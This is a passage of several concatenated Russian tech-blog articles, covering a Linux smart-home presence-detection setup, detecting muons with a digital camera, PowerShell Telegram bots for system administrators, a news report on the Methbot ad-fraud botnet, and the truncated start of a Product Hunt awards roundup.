чувствительности установил аналогичный порогу датчика №1, чтобы срабатывал на движение примерно на расстоянии 50см. Если больше, то будет много ложных срабатываний когда кто-нибудь лезет в шкаф за одеждой или на домашнюю живность. Рисунок 4 – Установка датчика в тамбурной зоне Рисунок 5 – Настройка датчика движения Рисунок 6 – Установка датчика в зоне прихожей Для получения сообщений от датчиков движения я использую комплект утилит, работающих под операционной системой Linux. В моем случае это Debian 7. Данный набор утилит разработан Олегом Артамоновым и доступен на GitHub . Установка комплекта утилит неплохо описана самим автором, поэтому на ней я останавливаться не буду. Только отмечу, что для ее выполнения Вам таки понадобятся знания Linux и в особенности понимание устройства скриптов /etc/init.d/. Первым делом нужно «привязать» датчики движения РМ112 к приемнику RX2164. Для этого необходимо выполнить следующие действия: включить режим привязки на самом датчике, один раз нажав кнопку «привязка/отвязка» на задней стенке датчика; на ПК выполнить команду в консоли: # nooliterxcfg –bind <номер канала от 1 до 64> Данную процедуру нужно выполнить для каждого датчика. В моем случае их два и привязаны они к каналам 2 и 3, поэтому: # nooliterxcfg –bind 2 # nooliterxcfg –bind 3 Для того, чтобы утилита nooliterx работала в фоне, нужно стартовать ее с помощью скрипта /etc/init.d/nooliterx. Этот скрипт есть на github в месте с утилитами, однако под моим Debian он не заработал, поэтому я немного его модифицировал. В итоге получилось следующее: #!/bin/sh # nooliterx Starts and stops the NooLite RX1164 receiver daemon # chkconfig: 2345 55 25 # description: NooLite RX1164 smart home wireless receiver daemon # Source function library. . /lib/lsb/init-functions #. /etc/rc.d/init.d/functions nooliterx="/usr/local/bin/nooliterx" prog=`basename $nooliterx` lockfile="/var/lock/subsys/nooliterx" pidfile="/var/run/$prog.pid" start() { [ -x $nooliterx ] || exit 5 echo -n "Starting $prog: " start-stop-daemon --start --exec $nooliterx --make-pidfile --pidfile $pidfile --background retval=$? echo [ $retval -eq 0 ] && touch $lockfile return $retval } stop() { echo -n "Stopping $prog: " killproc -p $pidfile $prog retval=$? echo [ $retval -eq 0 ] && rm -f $lockfile return $retval } restart() { stop start } case "$1" in start) $1 ;; stop) $1 ;; restart) $1 ;; *) echo $"Usage: $0 {start|stop|restart}" exit 2 esac По-умолчанию, nooliterx пишет сообщения о срабатывании датчиков движения в syslog. Это очень удобно. Для того, чтобы сообщения от датчиков попадали в отдельный файл (который будет анализироваться SEC) я настроил перенаправление в syslog-ng, установленном на ПК. Для этого добавил следующие строчки в сответствующие разделы файла /etc/syslog-ng/syslog-ng.conf: destination sec_log { file("/var/log/sec.log"); }; filter motion_sens { program("nooliterx.*"); }; log { source(s_src); filter(motion_sens); destination(sec_log); }; Перезапускаем syslog-ng для применения изменений: # /etc/init.d/syslog-ng restart Для работы в фоне nooliterx запускается следующим образом: # /etc/init.d/nooliterx start Для проверки работы настроенной схемы создаем движение вблизи датчиков и смотрим на сообщения, приходящие в файл /var/log/sec.log. Они должны иметь примерно следующий вид: Dec 19 08:40:55 vmon nooliterx[23022]: Received: status 135, channel 2, command 25, format 1, data 1 0 0 0 Dec 19 08:41:19 vmon nooliterx[23022]: Received: status 8, channel 3, command 25, format 1, data 1 0 0 0 Dec 19 08:41:22 vmon nooliterx[23022]: Received: status 137, channel 3, command 25, format 1, data 1 0 0 0 Причем, при каждом событии фиксации движения должно появляться два сообщения в лог файле т.к. в связи с конструктивной особенностью датчиков они отправляют два сигнала на каждое свое срабатывание. Это сделано для того, чтобы гарантировать доставку сообщения, поскольку связь является однонаправленной и в ОЧЕНЬ редких случаях сообщения от датчика до приемника могут теряться. 5. Генератор статуса Скрипт – «генератор статуса» проверяет подключение смартфона к домашней WiFi сети каждую минуту и записывает текущий статус в файл. Проверка осуществляется очень просто – посредством посылки ICMP пакетов на IP адрес смартфона. Блок схема логики, согласно которой скрипт вычисляет статус приведена на рисунке 7. На основе данных, которые записывает скрипт в статус файл производится корреляция при срабатывании датчиков движения и принимается решение о запуске сценария (это делает скрипт – проверщик, который описан в разделе 6). Скрипт отрабатывает каждую минуту и обновляет информацию в статус файле, а также дописывает информацию о статусе с текущей временной меткой в лог файл. Информация в статус файле состоит из: текущего статуса смартфона, который может принимать значения arrived, athome, away; наименования счетчика времени – «ушел» или «дома»; значение счетчика (соответствует кол-ву минут). Статус «athome» свидетельствует о том, что смартфон дома, подключен к сети. Статус «away», соответственно, говорит об отсутствии смартфона дома (подключения к сети). Статус «arrived» появляется когда смартфон только появился в сети и еще не была запущена сценарная программа. Как только сценарий включения света сработал, статус меняется на «athome». Это сделано для исключения множественных срабатываний. Отсутствием хозяина дома считается отсутствие подключения смартфона к сети в течение более 20 минут. Такая логика настроена для фильтрации ложных срабатываний (если, например, смартфон кратковременно отключился от сети) и для того, чтобы сценарий не активировался, если хозяин кратковременно отлучался из дома. Это условие предусмотрено в блок-схеме. И для этой цели введены разные типы счетчиков – «ушел» и «дома». При отсутствии смартфона в сети, сохраняется статус «athome» и начинается отсчет счетчика «ушел» при сохранении статуса «athome». Как только значение счетчика превышает 20, статус меняется на «away». Рисунок 7 – Блок-схема работы «генератора статуса» Ниже приведен полный листинг скрипта «генератор статуса». #! /bin/sh dir=/usr/local/smarthome/imhome phone_ip=$1 stat_file="$dir/status" log_file="$dir/log_status" dt=`date` if ping -c 5 $phone_ip > /dev/null then if grep "athome" $stat_file then count=$(($(cat $stat_file|grep pingok | awk -F "_" '{print $2}')+1)) stat="athome" png="pingok_" elif grep "arrived" $stat_file then count=$(($(cat $stat_file|grep pingok | awk -F "_" '{print $2}')+1)) stat="arrived" png="pingok_" else count="1" stat="arrived" png="pingok_" fi else if grep "athome" $stat_file then if grep pingnok $stat_file then count=$(($(cat $stat_file|grep pingnok | awk -F "_" '{print $2}')+1)) if [ "$count" -gt 20 ] then count="1" stat="away" png="pingnok_" else stat="athome" png="pingnok_" fi else count="1" stat="athome" png="pingnok_" fi elif grep "away" $stat_file then count=$(($(cat $stat_file|grep pingnok | awk -F "_" '{print $2}')+1)) stat="away" png="pingnok_" else count="1" stat="away" png="pingnok_" fi fi printf "$stat\n$png$count\n" > $stat_file printf "$dt $stat $png$count\n" >> $log_file 6. SEC. Корреляция событий и запуск сценария Запуск сценария включения источников света должен выполняться при следующих условиях: Зафиксировано движение датчиком 1; Не позднее чем через 60 сек после события 1 зафиксировано движение датчиком 2; Смартфон хозяина подключился к сети WiFi в течение временного окна длительностью 1 минута. Задачи 1 и 2 решает SEC. Решение задачи 3, а также запуск сценария выполняет скрипт – «проверщик подключения смартфона». Я не буду подробно описывать установку и первичную настройку SEC т.к. в сети есть достаточно материалов и подробный MAN по этой утилите. В моем случае SEC настроен на чтение файла /var/log/sec.log т.к. в этот файл направляются события, приходящие от датчиков Noolite. Конфигурационные файлы SEC приведены ниже. Файл /etc/default/sec (содержит основные настройки – конфигурационный файл с описанием правил корреляции в параметре “conf”, анализируемый лог файл в параметре “input”, syslog facility в который пишутся события самого SEC в параметре “detach”): #Defaults for sec RUN_DAEMON="yes" DAEMON_ARGS="-conf=/etc/sec.conf -input=/var/log/sec.log -pid=/var/run/sec.pid -detach -syslog=local6" Файл /etc/sec.conf с описанием правила корреляции, которое выполняет запуск скрипта – проверщика в случае фиксирования движения сначала датчиком 1, а потом датчиком 2 в течение 1 минуты: type=PairWithWindow ptype=RegExp pattern=\w+\s+\d+\s+\d+\:\d+\:\d+\s+\w+\s+nooliterx\S+\s+Received\:\s+status\s+\d+,\s+channel\s+3,\s+command\s+25.* desc=Motion sensor outside front door triggered action=logonly ptype2=RegExp pattern2=\w+\s+\d+\s+\d+\:\d+\:\d+\s+\w+\s+nooliterx\S+\s+Received\:\s+status\s+\d+,\s+channel\s+2,\s+command\s+25.* desc2=Motion sensor by the front door inside the flat triggered action2=shellcmd (/usr/local/smarthome/imhome/check_phone.sh 192.168.22.155); write /usr/local/smarthome/imhome/test_corr_info %.year-%.mon-%.mday_%.%.hmsstr someone came window=60 Как видно, правило ищет события срабатывания датчиков по регулярным выражениям, которые записываются в параметрах «pattern». При выполнении условий SEC запускается скрипт /usr/local/smarthome/imhome/check_phone.sh и передает ему IP адрес смартфона 192.168.22.155 в качестве аргумента. Скрипт, в свою очередь, проверяет доступность смартфона (посредством отправки ICMP пакетов) и, в случае успеха, проверяет текущий статус смартфона в файле статуса (создаваемом скриптом – генератором статуса). Если значение статуса «away» или «arrived», то запускает сценарий включения источников света и перезаписывает значение статуса в файле статуса на «athome». Блок-схема работы скрипта приведена на рисунке 8. Рисунок 8 – Блок схема работы скрипта – проверщика Ниже приведен полный листинг скрипта. В качестве сценарной программы я выполняю включение 4 источников света с помощью утилиты noolitepc а также отправляю сообщение электронной почты самому себе (это было сделано с целью упрощения отладки на период тестирования). Между включениями источников света сделана секундная пауза. Когда команды следуют без нее, то не всегда долетают до силовых блоков. #! /bin/sh dir="/usr/local/smarthome/imhome" phone_ip=$1 stat_file="$dir/status" log_file="$dir/log_status" dt=`date` noolite="/usr/local/bin/noolitepc" a=1 MAIL="$dir/mail.letter" while [ "$a" -lt 10 ] do if ping -c 2 $phone_ip > /dev/null then if grep 'arrived\|away' $stat_file then printf "$dt $phone_ip has come home. Welcome!\n" >> $log_file printf "Subject: Welcome home Boss!\nThe exact time is $dt\n" > $MAIL /usr/sbin/ssmtp test_email@gmail.com < $MAIL $noolite --on 3 sleep 1 $noolite --on 2 sleep 1 $noolite --on 6 sleep 1 $noolite --on 8 printf "athome\npingok_1\n" > $stat_file fi break fi a=$((a+1)) done Как видно, скрипт выполняет несколько циклов проверки (с помощью цикла while). Это сделано для того, чтобы гарантировать запуск сценария в том случае, если смартфон не успел подключиться к WiFi в момент срабатывания датчиков. Как показало тестирование, такое изредка бывает. 7. Заключение В итоге у меня получилась система, которая может запускать любые сценарные программы в случае, регистрации прихода домой определенного человека. Сценарием может быть не только включение освещения, но и все, на что хватит фантазии. Например, можно включать музыкальный фон, делать фото пришедшего (с помощью IP камеры) и многое другое. Коррелятор SEC следит за приходом домой кого-либо (анализируя события от датчиков Noolite), а дальше передает данные скрипту для проверки – кто именно пришел домой. А это значит, что можно настраивать разные программы для разных домочадцев. Передавая в скрипт IP адреса разных смартфонов и добавив соответствующие условия. Отдельное БОЛЬШОЕ СПАСИБО хочу сказать компании Ноотехника за предоставленные для реализации этой системы датчики движения РМ112 и приемник RX2164.
https://habrahabr.ru/post/318162/
habrahabr
Фотографируем мюоны на рабочем столе. Инструкция по применению
['космос', 'астрономия', 'космическое излучение', 'детектор', 'фото']
Привет geektimes. При мысли о детекторах космического излучения, первое что приходит в голову, это счетчики Гейгера, сцинтилляторы, охлаждаемые детекторы и прочая дорогая и экзотичная...
Привет geektimes. При мысли о детекторах космического излучения, первое что приходит в голову, это счетчики Гейгера, сцинтилляторы, охлаждаемые детекторы и прочая дорогая и экзотичная аппаратура. Однако как оказалось, “поймать” частицы можно гораздо проще — при помощи обычной цифровой камеры. Как это работает, подробности под катом. Теория О возможности подобного детектирования я узнал совершенно случайно из статьи “ CAPTURING COSMIC RAYS WITH A DIGITAL CAMERA ”, опубликованной на www.cloudynights.com . Я совершенно далек от ядерной физики, так что теоретическая часть это фактически вольный перевод из той статьи. Космические лучи — это высокоэнергетичные частицы, летящие в пространстве со скоростью, почти достигающей скорости света. Они были открыты еще в 1900х, когда было выяснено наличие ионизирующего излучения, возрастающего на больших высотах. Энергия излучения оказалась такова, что оно проникает даже через металлическую защиту. Оно было обнаружено глубоко под землей и под водой. Как показали исследования, космическое излучение подразделяется на первичное и вторичное. Первичное — это летящие с большой скоростью протоны, ядра водорода, гелия, иногда более тяжелых элементов. Некоторые частицы имеют энергию 3*10^20 эВ, что было бы достаточно чтобы зажечь 100-ваттную лампу в течение секунды. Источниками таких частиц являются взрывы сверхновых, процессы в нейтронных звездах, галактических ядрах и черных дырах. Достигая атмосферы Земли, частицы сталкиваются с атомами и молекулами воздуха, порождая вторичное излучение. У поверхности Земли оно практически полностью состоит из мюонов , частиц похожих на электроны, но имеющих гораздо большую массу. На поверхности Земли энергия мюонов составляет 4ГэВ, что позволяет им проникать на глубину до 700м. Поток мюонов на поверхности составляет примерно 1 частицу на квадратный сантиметр в минуту (запомним это число, оно пригодится чтобы прикинуть сколько частиц пролетит через сенсор камеры). Из первичного излучения, до поверхности Земли доходит всего лишь 3% частиц. Для нас же, наибольший интерес представляет то, что помимо традиционных способов типа счетчиков Гейгера, космическое излучение детектируется и CMOS/CCD-матрицами. К чему мы сейчас и приступим. Практика В процессе детектирования частиц весьма удобно то, что для этого не надо ни лететь в космос, ни даже ехать в горы. Вполне достаточно просто положить камеру на стол, предварительно закрыв крышкой объектив. Съемка Задача N1 — получение достаточного количества снимков. Камера в принципе подойдет любая, с возможностью ручных настроек. Очевидно, что чем больше площадь сенсора, тем больше столкновений удастся получить. Лишний свет не нужен, так что крышку объектива нужно будет закрыть. В вышеприведенной статье рекомендуются выдержки 1-3 минуты. В моем случае, имелась камера Basler ace, максимальная выдержка которой составляет всего 1с, это тоже подойдет (частицы все равно летят гораздо быстрее), единственный минус такого случая — придется обрабатывать больше кадров. Для камеры была написана простая программа с использованием Pylon SDK, которая непрерывно делает фото, для других камер наверняка можно найти что-то аналогичное. ISO и выдержку стоит подобрать так, чтобы с одной стороны, кадр был достаточно темным, с другой стороны, чтобы чувствительность была максимально возможной. В моем случае программа работала 4 часа, было записано 7200 кадров, каждый с выдержкой 1с. Очевидно, что максимальный поток частиц идет с неба сверху, так что камера была положена с закрытой крышкой объектива, матрицей вверх. Обработка Следующих шагом встает задача автоматической обработки результатов. Была написана программа на Python, которая для каждого кадра определяет максимальную яркость. Результаты работы программы выводятся в виде CSV-файла, для которого легко построить график. Таким образом, если на кадре будет яркая точка, он будет выделен среди остальных. Исходный текст на Python import time, datetime import os, datetime from PIL import Image # Get all files in a folder and subfolders def getMediaFilesList(folder): file_paths = [] for root, directories, files in os.walk(folder): for filename in files: if ".jpg" in filename.lower() or ".png" in filename.lower() or ".tif" in filename.lower(): # Save full file path filepath = os.path.join(root, filename) file_paths.append(filepath) return file_paths # Analyze content of the image files def analyzeFiles(filesList, threshold): for index,path in enumerate(filesList): startTime = datetime.datetime.now() photo = Image.open(path) photo = photo.convert('L') b = max(set(photo.getdata())) dT = (datetime.datetime.now() - startTime).total_seconds() if b > threshold: print "{},{},{},{}; !!!".format(index, b, path, dT) else: print "{},{},{},{};".format(index, b, path, dT) folder = "/Users/XXX/BaslerCam2/" threshold = 130 filesList = getMediaFilesList(folder) print "Analyze {} files:".format(len(filesList)) analyzeFiles(filesList, threshold) print "Done" (спасибо за советы в комментариях по улучшению качества кода) В результате получается набор CSV-строк, примерно такого вида: index;MaxL;name; 0,80,capture-00000.tif; 1,81,capture-00001.tif; 2,80,capture-00002.tif; 3,81,capture-00003.tif; Файл можно сохранить и открыть например, в Excel, чтобы построить график. Программа работает небыстро. Была попытка распараллелить обработку на несколько потоков, однако прироста скорости это почему-то не дало. Впрочем, скорость здесь не особо критична — время обработки несущественно по сравнению с тем временем, которое частица летела к Земле. Результаты Честно говоря, вообще не верилось что что-то получится. Тем интереснее было открыть cvs в виде графика и увидеть результат. По горизонтали номер кадра, по вертикали яркость в RGB. Напоминаю, что крышка объектива была закрыта. Четко видны пики яркости, которые явно выделяются из среднего уровня шумов матрицы. В начале также хорошо видно повышение шума из-за нагрева камеры. Стало интересно, как регистрация частицы выглядит “вживую”. На картинках 100% кроп (неподвижные точки это шумы матрицы): Заключение Как можно видеть, метод действительно работает. Желающие также приглашаются попробовать и показать результаты. Вроде под Android есть даже готовые программы для смартфонов. Теоретически, может подойти и вебкамера, поток с которой можно записывать в виде файлов с помощью ffmpeg. При наличии 2х одинаковых камер, интерес представляет также размещение матриц параллельно друг другу, что позволит фиксировать направление полета частиц. И наконец, не менее интересен сам факт, что каждую минуту через нас пролетают десятки заряженных частиц, обладающих энергией, достаточной чтобы пробить 700м земной поверхности. Как это влияет на клетки, остается только гадать. Впрочем, есть теория (и наверное небезосновательная), что именно космическая радиация является тем самым фактором, из-за которого и произошла эволюция. Так что если бы не эти частицы, некому было бы читать эту статью.
https://geektimes.ru/post/283914/
habrahabr
Телеграмм-бот для системного администратора
['бот']
Телеграмм-бот для системных администраторов. Это ни в коем случае не готовый проект, в нем есть над чем поработать. Это полуфабрикат и набор приемов который каждый админ может подпиливать под свои...
Телеграмм-бот для системных администраторов. Это ни в коем случае не готовый проект, в нем есть над чем поработать. Это полуфабрикат и набор приемов который каждый админ может подпиливать под свои разные задачи. В статье содержатся примеры нескольких ботов и примеры работы с апи телеграмм из powershell. Тут содержится инфо как зарегать бота и получить токен Прежде чем продолжать у вас должен быть токен бота, чтобы зарегистрировать своего ботика и получить токен нужно найти пользователя @BotFather и написать ему. Нас интересует команда /newbot после чего потребуется наименование и имя бота, можете писать все что хотите главное в конце приставьте _bot . Когда имя будет подобрано вам BotFather вернет вам токен и ссылку на бота для быстрого добавления. На этом бота регистрация бота заканчивается. Для быстрого добавления бота и чтобы было возможно быстро добавить его к себе лучше всего использовать специальную ссылку начинающуюся с символа @, взять его можно в инфо: если такую ссылку комуто переслать то он может просто кликнуть по ней чтобы открыть чат с вашим ботом Готовые шаблоны админботов Простой бот Плюсы: небольшой — всего около 300 строк может исполнять команды описанные в функции logic может получать и отправлять сообщения может принимать файлы есть проверка по паролю ведет лог присланых команд может открывать несколько сессий для одновременной работы (реализовано не полностью. Но взаимодействовать несколько человек одновременно могут Минусы: слишком простая авторизация. Пароль останется в чате на устройстве. Не может отличить устройства скачать простого бота можно вот отсюда , в архиве содержится: 1. хелп с примерами разметки текста; 2. исходник Для запуска нужно получить токен бота у BotFather как описывается в начале статьи и прописать в переменную $token скрипта. Работать должно сразу. Функционал добавлять в функцию logic Сложный бот Плюс: Небольшой — всего около 450 строк Может исполнять команды описанные в функции logic Может получать и отправлять сообщения Может принимать файлы Есть проверка по паролю, может дополнительно проверять chat_id Ведет лог присланых команд Может открывать несколько сессий для одновременной работы (реализовано не полностью. На последнем этапе прикручивалась консоль, если работать в ней то у других пользователей будет зависание и может быть кик по таймауту. Функционал который был реализован для примера: Может принимать файлы, складывает их в папочку Может показывать файлы из папочки Может удалять файлы из папки загрузки Может запускать файл на исполнение (посредством start-process ) Показывает список серверов с которым производится работа (просто список имен в текстовом файле) Пингует серверы из списка и показывает какие из них онлайн Отключает компы из списка Показывает пользователей залогинившихся на терминал, делает вызов внешнего скрипта (нужно установить на терминал PSTerminalServices ) Делает logoff пользователя на терминале. Входишь в режим консоли и потом пишешь имена пользователей (нужно установить на терминал PSTerminalServices ) Делает скриншот того компа на котором запущен (но не передает обратно) Открывает ssh -сессию с устройством в сети и переходит в режим ввода команд (для примера кредиталы и адрес жестко зашиты в скрипт. Для работы требует установки на машину с которой будет вестись управление модуля работы с ssh poshSSH ) Из того, что не было реализовано, но хотелось бы: Обратная передача файлов (напишите кто знает как это сделать через powershell) Неполноценная поддержка многопользовательской работы Неполноценный режим консоли Скачать бота можно вот отсюда , в архиве содержится: 1. хелп с примерами разметки текста; 2. конфигурационный файл config.csv ; 3. сам бот — abormot.ps1 ; 4. набор вспомогательный файлов; 5. список компов для работы в текстовом файле ping-list.txt Для запуска нужно получить токен бота у BotFather как описывается в начале статьи и прописать в конфигурационном файле config.csv . Работать должно сразу. Функционал добавлять в функцию logic Бот самообслуживания, делающий Unlock учеток в домене В некоторых организациях по требованиям иб если пароль введен неверное определенное количество раз то лочится учетная запись на определенное время. Чтобы снять лок пользователь должен позвонить админу. Этот бот сделан так что ему можно написать имя учетной записи и он ее разблокирует, но не более 3х раз в сутки. При превышении лимита он перенаправит пользователя к системному администратору и отправит оповещение ему в чат. Скачать бота можно вот отсюда . Для запуска нужно получить токен бота у BotFather прописать токен в переменную $token . Выставить номер чата админа в $adminChatID . Прописать адрес доменной машины и кредиталы к ней: Я встроил в примере функцию unlock прямо в скрипт, для постоянного использования лучше создать реакцию на событие в журнале и самому генерировать это событие. По событию будет запускаться скрипт unlock из места которое доступно только админам, так вы не забудете пароль от домена в скрипте. Это важно. Бот, принимающий файлы от знакомых ему пользователей Например нам нужно пробрасывать в общий ресурс фотографии от пользователей на выезде, или просто принимать файлы и знать от кого они пришли и кому отправить. Ниже пример бота принимающего фотографии от знакомых ему пользователей Скачать бота можно вот отсюда . Для запуска нужно получить токен бота у BotFather прописать токен в переменную $token , прописать ваш чат в switch 235 строки. Работать должно сразу. Не забудьте добавить нужный вам чат в switch Как работать с bot api 1. Принять сообщение Нужно выполнить Invoke-WebRequest на адрес https://api.telegram.org/bot{Токен}/getUpdates?offset={порядковый ID сообщения}&timeout={время ожидания перед возвратом в секундах} {Токен} — токен бота полученный от BotFather {порядковый ID сообщения} — для первого сообщения 0 , для последующих номер последнего + 1 . Если указывать последний номер то будете получать при каждом обращении последнее сообщение. {время ожидания перед возвратом в секундах} — время которое телеграмм подождет ответа если его нет прежде чем вернуть обратно пустую структуру. Годится для создания задержки в боте. Я использовал в ботиках задержку в 1 секунду чтобы не ждать на отладке. на выходе получим структуру JSON которую парсим при помощи ConvertFrom-Json Листинг кода №1 $ChatTimeout = 1 $UpdateId = 0 $token = "bot token" $URL = "https://api.telegram.org/bot$token/getUpdates?offset=$UpdateId&timeout=$ChatTimeout" $Request = Invoke-WebRequest -Uri $URL -Method Get $content = ConvertFrom-Json $Request.content # если на выходе 2 и более результатов возьмем только последний $str = $content.result | select -First 1 $str = ($str).message $props = [ordered]@{ ok = $content.ok UpdateId = ($str).update_id Message_ID = $str.message_id first_name = ($str.from).first_name last_name = ($str.from).last_name chat_id = ($str.chat).id text = $str.text } $obj = New-Object -TypeName PSObject -Property $props $obj На выходе в объекте $obj будет сообщение и от кого оно пришло 2. Скачать файл Если передается файл то в структуре JSON будут переданы дополнительные параметры. Чтобы получить файл нужно вытащить file_id из сообщения, затем обратится по адресу: https://api.telegram.org/bot{token}/getFile?file_id={file_id из сообщения} Запрос вернет структуру JSON содержащую путь для скачивания. Далее скачиваем файл по ссылке https://api.telegram.org/file/bot{token}/{file_path} Предположим что нам передали файл, тогда код для его скачивания будет выглядеть так: $ChatTimeout = 1 $UpdateId = 0 $token = "bot token" $Path = "c:\" ##### Получаем сообщение как обычно $URL = "https://api.telegram.org/bot$token/getUpdates?offset=$UpdateId&timeout=$ChatTimeout" $Request = Invoke-WebRequest -Uri $URL -Method Get $content = ConvertFrom-Json $Request.content # если на выходе 2 и более результатов возьмем только последний $str = $content.result | select -First 1 $str = ($str).message ##### Если в сообщение передается файл то будут дополнительные поля # так например мы можем узнать что нам передали картинку if ( $($str.document).mime_type -eq "image/jpeg" ) { $isJPG = $true } ##### Если есть file_name то значит там чтото лежит # документ на скачивание есть? if ( $($str.document).file_name -ne $null ) { ### разные данные например для логирования $DocFileName = ($str.document).file_name $DocFileID = ($str.document).file_id $DocFileSize = ($str.document).file_size # получаем сылку на файл исполняя команду бота /getFile $URL = "https://api.telegram.org/bot$token/getFile?file_id=$DocFileID" $RequestFile = Invoke-WebRequest -Uri $URL ### в $RequestFile если все верно содержится ссылка на скачивание foreach ( $JSON in $((ConvertFrom-Json $RequestFile.Content).result) ) { $FilePath = $json.file_path $URL = "https://api.telegram.org/file/bot$token/$FilePath" $FilePath = Split-Path -Leaf $FilePath $OutputFile = "$Path\$FilePath" # качаем без проверки Invoke-WebRequest -Uri $URL -OutFile $OutputFile } } 3. Написать что-нибудь Телеграмм-бот поддерживает 2 режима разметки текста markdown и html . Внимание: в html -режиме тэг br не поддерживается Примеры markdown разметки *bold text* — жирный текст _italic text_ — наклонный текст [text](http://www.example.com/) — ссылка `inline fixed-width code` — фиксированный текстовый блок ```text pre-formatted fixed-width code block ``` Для переноса строк используйте последовательность %0A Пример отправки сообщения $token = "ваш токен" $сhatid = "ID чата в который нужно послать сообщение" $text = "привет habr" $payload = @{ "parse_mode" = "Markdown"; "disable_web_page_preview" = "True" } $URL = "https://api.telegram.org/bot$token/sendMessage?chat_id=$сhatid&text=$text" $request = Invoke-WebRequest -Uri $URL -Method Post ` -ContentType "application/json; charset=utf-8" ` -Body (ConvertTo-Json -Compress -InputObject $payload) Если данный код даст ошибку например при отправке строки вот такого типа: "$FDownload : file name is ""$($JSON.file_path)""; size $($json.file_size) kb" Можно использовать метод отправки посложнее: $token = "ваш токен" $chat_id = "ID chata" $text = "сообщение" $markdown = $true $preview_mode = "True" if ($markdown) { $markdown_mode = "Markdown" } else {$markdown_mode = ""} $payload = @{ "chat_id" = $chat_id; "text" = $text "parse_mode" = $markdown_mode; "disable_web_page_preview" = $preview_mode; } $URL = "https://api.telegram.org/bot$token/sendMessaget" $request = Invoke-WebRequest -Uri $URL ` -Method Post -ContentType "application/json; charset=utf-8" ` -Body (ConvertTo-Json -Compress -InputObject $payload) Если кто знает, как закачать файл обратно — скиньте, я дополню.
https://habrahabr.ru/post/317906/
habrahabr
«Рекламный ботнет» Methbot приносит своим владельцам $3-$5 млн в день
['ботнеты', 'Methbot', 'рекламные ботнеты']
Ботнетов в мире много, среди них есть как откровенно неудачные (если это слово применимо в этом случае) ботнеты, так и системы, которые можно назвать произведением искусства. Кроме того, цели...
Ботнетов в мире много, среди них есть как откровенно неудачные (если это слово применимо в этом случае) ботнеты, так и системы, которые можно назвать произведением искусства. Кроме того, цели разработчиков ботнетов самые разные. Наиболее распространенная цель — заработок денег. Разработчикам фермы ботов Methbot удалось создать настоящую денежную машину, которая приносит своим владельцам по нескольку миллионов долларов США в день. Первыми этот ботнет обнаружили специалисты White Ops, которые и проанализировали его работу. По мнению экспертов, ботнет принадлежит хакерской группе AFT13, считающейся российской. Ботнеты часто специализируются на рекламе. Разработчики таких систем разными способами заражают ПК пользователей вредоносным ПО, которое обеспечивает клики и просмотры рекламы, что приносит создателю такой системы, порой, очень неплохие суммы. Разработчикам ботнета, о котором идет речь, показалось недостаточно хорошей идея заражать ПК пользователей. Они решили поработать с «мертвыми душами», то есть фальшивыми пользователями. После детального анализа ботнета оказалось , что созданная киберпреступниками инфраструктура включает около 800-1200 серверов. Они расположены в дата-центрах США и Нидерландов. Злоумышленники имеют и базу из более, чем полумиллиона IPv4-адресов. Эти адреса имеют географическую привязку к США. Такой объем реальных адресов, по разным оценкам, может стоить около $2-$4 млн. Так вот, авторы Methbot работают по оригинальной схеме: они используют подмену адресов своих собственных сайтов. Сначала бот в автоматическом режиме выбирает домен или же адрес из списка премиум публикаторов. После этого в том же автоматическом режиме создается подставная страница, где есть все необходимые для генерации рекламы и запросов видеорекламы из различных рекламных сетей. Рекламу бот обрабатывает в ходе симуляции браузера через прокси. При этом, как уже говорилось, используются приемы, помогающие ботнету имитировать работу обычного пользователя. Сам бот отличается от прочих подобных проектов еще и развитой, но хорошо скрытой инфраструктурой. По всей видимости, разработчики давно реализовали свой план, где первым этапом является разворачивание инфраструктуры с одновременным ее скрытием. Работает эта ферма ботов с Node.js и рядом опенсорсных библиотек. Это позволяет злоумышленникам имитировать работу браузера. Для того, чтобы избежать обнаружения защитными системами, ботнет имитирует работу различных браузеров и операционных систем. Кроме того, система умело имитирует движения курсора мыши, клики, сетевую активность для того, чтобы защита рекламных систем не сработала. Больше всего создатели ботнета зарабатывают на премиальной видеорекламе, которую «просматривают» поддельные пользователи из наиболее дорогих для клика регионов. Сейчас к расследованию ситуации привлечены не только партнеры компании, раскрывшей ботнет, но и ФБР.
https://habrahabr.ru/company/kingservers/blog/318172/
habrahabr
Лучшие технологические продукты 2016 года: премия «Золотой котёнок» от Product Hunt
['Product Hunt', 'премия', 'золотой котёнок']
Подошла к концу вторая ежегодная премия "Золотой котёнок". В 15 категориях участвовало более 200 продуктов. В основном 2016-й год стал годом ботов. Звёздные боты, боты поддержки,...
Подошла к концу вторая ежегодная премия " Золотой котёнок ". В 15 категориях участвовало более 200 продуктов. В основном 2016-й год стал годом ботов. Звёздные боты , боты поддержки, боты-переводчики, боты данных, магазин приложений для ботов . Очень. Много. Ботов. На Product Hunt в разделе " боты " перечислено уже более 1100 продуктов. Кроме того, на сцену вышли приложения iMessage, вместе с запуском iOS 10 и Apple iMessage Store . Существование внутри ежедневных пользовательских коммуникаций прельщает многих разработчиков. На сегодня в разделе iMessage есть уже более 500 продуктов. В этом году была довольно сильна ностальгия (и Nintendo). Феномен Pokemon Go приковал внимание практически каждого человека. А Nintendo подлила масла в огонь, выпустив Super Mario Run и такое железо, как Classic Mini и Nintendo Switch . Также мы стали свидетелями возрождения существующего железа, например, превью от Microsoft будущего настольных компьютеров, и с нетерпением ожидаемый MacBook Pro от Apple, оснащённый тачбаром . Google серьёзно поднажал в деле выпуска железа: • Конкурент iPhone с 3,5 мм джеком для наушников • Тканевый шлем виртуальности • Командный 4к цифровой дисплей • Новый тип WiFi-системы • Конкурент Alexa Отличился Snapchat, выпустив солнечные очки со встроенной камерой в рамках одной из лучших стратегий запуска. В 2017 мы ждём развития в области видеотрансляций ( Houseparty ), и множество новых вариантов использования аудиоинтерфейсов, например, Apple AirPods , или Google Home и Amazon Echo. Победители премии Как мы выбирали победителей: • Голосование было доступно всем зарегистрированным пользователям Product Hunt • Победитель в каждой из 13 продуктовых категорий определялся по максимуму голосов на 18 декабря • Ссылки ниже проставлены на изначальные посты о запуске продуктов, а не на страницы, созданные для голосования. Технологический продукт года Победитель: Gboard by Google Второе место: Pokemon GO Gboard была одной из самых интересных клавиатур для iOS и быстро поднялась на первое место в App Store. На прошлой неделе она наконец-то запустилась и на Android , и команда приложения, сдержав обещание, записала видео с танцами за каждый день, который приложение находилось на первой позиции в рейтинге Tech Product of the Year. I personally guarantee that every day Gboard is in the lead for @ProductHunt tech product of the year, the eng team will post a dance video — Bri Connelly (@bricon5) December 5, 2016 День 1 , День 2 , День 3 , День 4 , День 7 , День 9 Самый сексуальный продукт года Победитель: Tesla Model S P100D Второе место: Spectacles Tesla Mode S P100D – самый шустрый серийный автомобиль, 